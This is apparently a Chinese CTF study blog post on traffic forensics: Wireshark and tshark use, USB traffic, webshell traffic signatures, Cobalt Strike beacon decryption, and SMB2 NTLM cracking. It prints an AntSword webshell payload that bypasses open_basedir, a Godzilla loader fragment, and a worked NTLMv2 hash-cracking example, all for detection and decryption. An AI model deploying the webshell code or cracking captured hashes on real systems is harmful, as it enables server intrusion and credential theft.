流量分析


流量分析

wireshark 基本使用

数据包筛选

这是 wireshark 的重要功能,一般的流量都会有很多不同协议,直接看比较容易晕,用这个功能就会比较方便

image

  1. IP 筛选
    源 ip 筛选

    ip.src == 127.0.0.1

    目的 ip 筛选

    ip.dst == 127.0.0.1
  2. mac 地址筛选
    目的 mac 地址筛选

    eth.dst == A0:00:00:04:C5:64

    筛选 mac 地址

    eth.addr == A0:00:00:04:C5:64
  3. 端口筛选
    筛选 tcp 协议的目标端口为 80 的流量

    tcp.dstport == 80

    筛选 tcp 协议的源端口为 80 的流量

    tcp.srcport == 80

    筛选 udp 协议的目标端口为 80 的流量

    upd.srcport == 80
  4. 协议筛选

    tcp/udp/icmp/ftp
  5. 流量包长度筛选
    筛选长度为 20 的 udp 流量

    udp.length == 20

    筛选长度大于 20 的 tcp 流量

    tcp.length >= 20

    筛选长度为 20 的 ip 流量

    ip.len == 20

    筛选全部长度为 20 的流量

    frame.len == 20
  6. http 请求筛选
    筛选请求方法为 GET 的流量

    http.request.method == "GET"

    筛选请求方法为 POST 的流量

    http.request.method == "POST"

    指定 HTTP 请求的 uri

    http.request.uri == "/path?=123"

    指定请求中包含特定内容

    http contains "FLAG"
  7. 手动筛选
    在查看流量时可能会遇见不会筛选的语句,可以进行手动筛选
    选中需要的流量或分组详情中的字段,右键 -> 准备作为过滤器 -> 选中/非选中
    如果不知道字段名称也可以用这种方法查看
    image

数据包搜索

image

在这里进行搜索,可以使用十六进制、字符串、正则表达式、过滤器

image

数据包还原(追踪流)

在 wireshark 中,有一个追踪流的功能,可以将多个 HTTP 或 TCP 流量集合到一起,还原成原始数据

右键需要恢复的流量,选择追踪流和对应的方式,我的 wireshark 升级到最新版只显示接受的显示,旧版应该有多种的,但是不能选的是灰的

image

数据提取

wireshark 支持提取通过 http 传输的文件

文件 -> 导出对象 -> HTTP

在列表中选择需要的文件保存

image

流量解密

在流量分析时,可能会遇到一些被加密的流量,需要解密才能看到流量内容

编辑 -> 首选项 -> protocols -> 要解密的流量

可以在这里上传解密文件或密钥,例如 TLS 流量

image

image

Stratoshark 基本使用

这个是 wireshark 团队的一个新工具,学长找到的

挖个坑看看

这个软件利用的是 sysdig 抓系统进程

记录一下使用

有三个抓包功能, 目前只会简单使用最后的 ssh 抓包

image

主要是配置

首先是配置 ssh 连接的地址和端口

image

然后是配置账户名和密码,这里要使用 root 账户,主要是要使用 sysdig 得用 root 权限

image

后面又配置是用 sudo 的,但是这个没有办法再输入密码,所以一开始就要用 root 进入,有一点是要把 use eBPF 不清楚这个是干什么用的,但是如果点着就会报错

image

tshark 基本使用

在使用 wireshark 的时候,会发现有些数据分散在很多包中,一个个提取很麻烦,用 tshark 提取就会轻松很多

tshark -r 1.pcap -Y "http contains FLAG" -T fields -e data.data > data.txt

# -r :指定要分析的流量文件
# -Y :使用的过滤器如果有多个可以用 && 连接
# -T fields:输出指定的字段数据
# -e :输出的字段名称

去除重复的行

tshark -r 1.pcap -Y "dns" -T fields -e dns.qry.name | uniq  > data.txt

流量分析基本考点

记录一下流量分析的考点,免得老忘 orz

直接搜索

最基础的,可以直接通过搜索查找要的信息,例如 flag,pass,key 等等

文件导出

通过导出对象获取传输的文件

USB 流量

这个大概分为键盘流量和鼠标流量,其实也可以有其他设备的流量,没见过

键盘流量一般是 8 字节,鼠标流量是 4 字节

键盘流量

基本就是基于这个查找流量对应的按键,不过都要用 tshark 提取出流量,准备学一下写一个脚本对应查看

HID Usages and Descriptions

最近还有一种,就是会在按键的同时加上 alt,在文本中用 alt 加上 4 位数字或字母(好像是),就会得到一个字符,如果加上退格就会得到中文汉字

鼠标流量

这个见的也少,不过主要是鼠标移动的坐标,然后作图

webshell 流量分析

这个是用 shell 工具打的流量,都会有加密,记录一下

中国菜刀

流量特征

  1. 在请求包中,user-agent 头一般为火狐,百度等
  2. 请求体中存在 eval,base64 等
  3. 请求体中传递的 payload 为 base64 编码,并且有固定的
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

解码得到的是

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");

解码 base64 应该就能得到 payload

蚁剑

通过本地抓包得到的代码

这是蚁剑使用 default 编码器尝试访问网站时会传送的代码
多抓了几个包,发现这个代码的大致框架都是一致的,只是在不同的功能上会修改一些地方

根据 ai 分析了一下代码

  1. 绕过 open_basedir,这个是php的配置项,限制php只能访问特定目录

这里通过新建一个目录,然后不断向上到根目录,修改 open_basedir/ 使php可以访问整个文件系统

  1. 输出的加密方式在 asenc 方法中修改
    而输出的信息会有干扰字符,这是因为 asoutput 函数导致的,只要将这个函数加入的字符串删除就行
  2. 而代码要实现的功能,如文件读取、目录读取
    则在 try 代码块中修改
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.1cd791f2636d";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out)
{
    return $out;
}
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "063" . "2f6e";
    echo @asenc($output);
    echo "25e" . "6833";
}
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "")
        $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}	";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L)
            if (is_dir("{$L}:"))
                $R .= "{$L}:";
    } else {
        $R .= "/";
    }
    $R .= "	";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname();
    $R .= "	{$s}";
    echo $R;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}

asoutput();
die();
?>

其他方式特征:

  1. base64image

  2. chr

    image

  3. chr16
    image

  4. rot13
    image

返回包数据取决于蚁剑设置的解码器,有三种

  1. default
  2. base64
  3. rot13

蚁剑最显眼的特征就是最开头的两句话

@ini_set("display_errors", "0");
@set_time_limit(0);

主要是用来消除错误信息和取消执行时间限制

冰蝎

冰蝎的加密逻辑比较固定,一般都是先 AES-CBC 然后 base64,解密只要反过来就行,主要要找AES的key,AES的iv一般是用全0填充,不过也有可能会被魔改,具体要看流量有没有进行额外操作

冰蝎加密的密钥用的是密码的md5值的前16位

冰蝎可以自己写加密方式
冰蝎自带的加密方式都可以通常冰蝎直接查看

image

加解密都有

哥斯拉

这个我没怎么做过 orz,都是参考网上文章记录的

哥斯拉的特征就是返回包的数据的前后十六位都是固定的哈希值,是用 xor 加密的

所以解密就找到 xor 的 key,不过这个 key 要看下 php 中有没有什么操作,有可能会把第一位移到最后去

哥斯拉流量有时候会使用 gzip 进行压缩,要解密的话可以使用 gunzip 进行解密

image

String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; 
String xc="a2550eeab0724a69"; 
class X extends ClassLoader{
    public X(ClassLoader z){
        super(z);
    }                        
	public Class Q(byte[] cb){
    	return super.defineClass(cb, 0, cb.length);
	} 
	}
public byte[] x(byte[] s,boolean m){ 
    try{
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
        c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
        return c.doFinal(s); 
    }
    catch (Exception e){
        return null; 
    }
}

CobalStrike 流量

CobalStrike 团队协作的内网渗透工具

工作流程
  1. 被控机向 TeamServer 发送心跳包,包中包含了主机信息和协商密钥等信息,这些信息被使用 RSA 公钥进行加密后放到了 cookie 中
  2. server 端第一次心跳后进入睡眠,并利用私钥将数据包解开后获得主机信息和协商密钥,基于协商密钥会生成新的 AES key 和 HMAC key
  3. 睡眠时间过后,会再一次发送心跳包询问是否有新的命令,当有新的命令出现时会将其数据包加密后发送,而命令会作为该回应包的 body 发送
  4. 被控端在接收到数据之后进行解密获取命令,再将命令执行的节后加密后返回给 TeamServer 该次传输使用 POST 请求发送
  5. TeamServer解密后看到回显
  6. 当 3 中睡眠时间过了之后,再次发送心跳包却没有接收到新的指令信息,这时候就会返回空包

image

  • Private Key​ 和 Public Key​ 是特定的,并且保存在 .cobaltstrike.beacon_keys 文件中,对于一个固定的 CS ,经过首次使用 CS 软件,就会生成一组固定的私钥和公钥,现在很多 CS 的 私钥都披露了,如果能抓到攻击者的 CS 流量,能够精确的找到对应的私钥,就能解密流量包
信标

信标就是 cs 中的 beacon​,是 cs 的后渗透工具,会在目标机植入一个 beacon.exe​ 以低频次、慢速的方式与 cs 服务器通信,同时因为信标由 teamserver​ 端生成,其中包含 teamserver 端的很多信息,更是可以通过静态和动态的信标解密 cs 的通信流量

心跳包

心跳包就是 beacon 向 cs 服务器发送的通信数据包,是定时发送心跳包询问,有命令加密后进行回包,无命令就返回空包,有效避免了长时间不间断的数据传输和通信而被防御设备检测到异常流量

解密流量

cs 流量比较特征的就是会请求一个 /****​ 的 url,这4个字符是有特征的,如果四个字符 ascii 相加并 mod 256 得到的结果是 93 ,就是 x64​ 的,92 就是 x32

url = "TJvI"

ascii = sum([ord(i) for i in url])
fin = ascii % 256
print(fin)

image

这个就是获取 beacon​ 的流量,把这个导出来是可以利用脚本分析的 minhangxiaohui/CSthing: somthing about Cobaltstrike

python 1768.py TJvI

image

这里就能获取到公钥了,后面的那个就是响应的 url

这里是空包的心跳包,这里的 cookie 存放了加密过的受害端信息

image

下面这个就是有数据的心跳包

image

要对 cookie 进行解析,就要获取私钥,私钥一般存放在 .cobaltstrike.beacon_keys ,没有这个文件就需要自己解密获取

这里有几个方法可以用

  1. 手解 rsa

    这个全是参考大佬的,因为我完全不会密码(

    CobaltStrike4.0流量分析 | ta0的小站

    先用脚本获取 n 和 e

    from Cryptodome.PublicKey import RSA
    import base64
    
    hex_key = "30819f300d06092a864886f70d010101050003818d00308189028181009cf1af3bffe8855bc30f10c1994ece58002e1795e76710f8b8a023006e1a6068943a4b5a6970d4a4f9ce942d29f3f032fb864a5b0389b6cd40de94ad67f13ea52221a2f94a1112b22bf4d4ca928f404b0b751a0a9c3d893062be8b31a90383b23a626b2c48bd2e5f80c0e7de7d6d5da81c53580a5730cf6b789e344b6284af6d0203010001"
    der_data = bytes.fromhex(hex_key)
    rsa_key = RSA.import_key(der_data)
    n = rsa_key.n
    e = rsa_key.e
    pem_key = rsa_key.export_key().decode()
    
    print("PEM 格式公钥:\n", pem_key)
    print("n =", n)
    print("e =", e)

    得到

    image

    然后用 yafu 分解 n

    yafu-x64.exe factor(110209881007357893823335805800713195851127501725957565233140927957700204009298219831317940655870344979959172203765131703915110847527123581538957802617902884782216119145118127834057251159376653146542095451104320803312070357977411524497260098391204298785177487587770308799475139763729699721645361283357313642349)

    得到 p 和 q 去求私钥

    from Cryptodome.PublicKey import RSA
    from Cryptodome.Util.number import inverse
    
    p = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026527
    q = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026221
    e = 65537 
    
    n = p * q
    phi_n = (p - 1) * (q - 1)
    
    d = inverse(e, phi_n)
    key = RSA.construct((n, e, d, p, q))
    
    private_pem = key.export_key().decode()
    
    print("RSA私钥(PEM):\n", private_pem)
  2. 使用工具从 dump 中提取加密密钥

    使用这个方法需要能获取到 beacon 进程的 dmp 文件

    通过 cs-parse-traffic.py 提取加密数据

    python cs-parse-traffic.py -k unknown DESKTOP.pcapng

    这里会获取很多数据,需要的是和 dmp 文件相关的内容,这里的 83 是对数据包 80 的响应,就有可能是 TeamServer​ 发送给 Beacon 的加密数据

    Packet number: 83
    HTTP response (for request 80 GET)
    Length raw data: 48
    ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd
    
    Packet number: 83
    HTTP request 
    http://192.168.27.132:12580/ca
    Length raw data: 48
    ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd

    然后分析 dmp 文件

    python cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd 6492.dmp

    image

    获取到了密钥

    35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7

    然后使用提取的密钥进行解密

    python cs-parse-traffic.py -k 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 DESKTOP.pcapng

    image

    就可以分析这些流量了

    • 上面这个是 4.x 版本的做法
      3.x 就不用获取相关的密钥,可以直接对 dmp 文件分析

      python cs-extract-key.py file.dmp
  3. 利用 cs 泄露的私钥

    在分析 beacon​ 时可以判断公钥对应的私钥有没有泄露,如果泄露了,在使用 1768.py 工具时,私钥后会有一个 has known private key 那就可以直接解密出元数据

    python cs-decrypt-metadata.py [cookie]
  4. .cobaltstrike.beacon_keys获取私钥

    可以使用这个工具获取文件中的私钥

    Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品

    github.com/WBGlIl/CS_Decrypt

SMB2流量

这个一般是解密 smb2 流量,要构造哈希文件,进行哈希爆破

构造方法

username::domain::ServerChallenge:ntproofstr:不包含ntproofstr的ntlmv2_response值

ntproofstr​ 一般是 ntlmv2_response 的前 32 位

例题

鹏程杯2024谍影重重5.0

拿到题目,查看流量,发现有 sm2 和 rdp 两种

首先是 sm2 流量,这个是会话层和表示层,以及小部分应用层的协议
要解密 smb2 流量,就是要构造 hash 文件,进行 hash 爆破

image

在流量中有两个用户,发现是 tom 登录成功,那么开始找对应的值

image

username : tom
domain : .
serverchallenge : c1dec53240124487
ntproofstr(ntlm response 的前32位) : ca32f9b5b48c04ccfa96f35213d63d75
不包含ntproofstr的ntlmv2_response值 :010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000

构造的是

tom::.:c1dec53240124487:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000

通过 hashcat 爆破出密码(用 john 也可以

image

到这里就可以解密了,直接在 ntlmssp 中加入密钥

image

然后还有一种,是计算 session key 的

使用网上的脚本

import hashlib
from Cryptodome.Cipher import ARC4
from Cryptodome.Cipher import DES
from Cryptodome.Hash import MD4
import hmac

def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
    cipher = ARC4.new(keyExchangeKey)
    sessionkey = cipher.encrypt(exportedSessionKey)
    print( sessionkey.hex())

username  = "tom"
domain =  "."
passw  =  "babygirl233"
NTproofstr = "ca32f9b5b48c04ccfa96f35213d63d75"
key = "5643a37f253b00b2f52df1afd48c1514"

username = str(username).upper().encode('utf-16le')
domain = str(domain).upper().encode('utf-16le')

passw = passw.encode('utf-16le')

hash1 = hashlib.new('md4',passw)
password = hash1.digest()

h = hmac.new(password,digestmod=hashlib.md5)
h.update(username+domain)
respNTkey = h.digest()

NTproofstr = bytes.fromhex(NTproofstr)
h = hmac.new(respNTkey,digestmod=hashlib.md5)
h.update(NTproofstr)
KeyExchKey = h.digest()

RessKey = generateEncryptedSessionKey(KeyExchKey, bytes.fromhex(key))

得到 a3abe4d64394909a641062342ffe291b,这里因为 wireshark 中的大小端问题,所以要修改

image

image

然后就可以提出 sm2 的文件

image

flag.7z 是有密码的,所以要找,应该就是 rdp 的流量解密

然后导出证书,但是 wireshark 的 tls 解密不支持 pfx,所以要先修改为 pem 格式

openssl pkcs12 -in 1.pfx -out rdp.pem -nodes

image

先用 openssl 转换一下格式,因为出题人应该是用 mimikatz 一把梭,所以密码就是 mimikatz,到现在就已经解密完了

参考

COTP协议–电脑与PLC通信之表示层 - wgd_elwood - 博客园

Misc-Network Traffic Analysis - ⚡Lunatic BLOG⚡

(●´3`●)やれやれだぜ

CobaltStrike4.0流量分析 | ta0的小站

通过进程内存提取密钥解密Cobalt Strike流量 - 安全内参 | 决策者的网络安全知识库


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录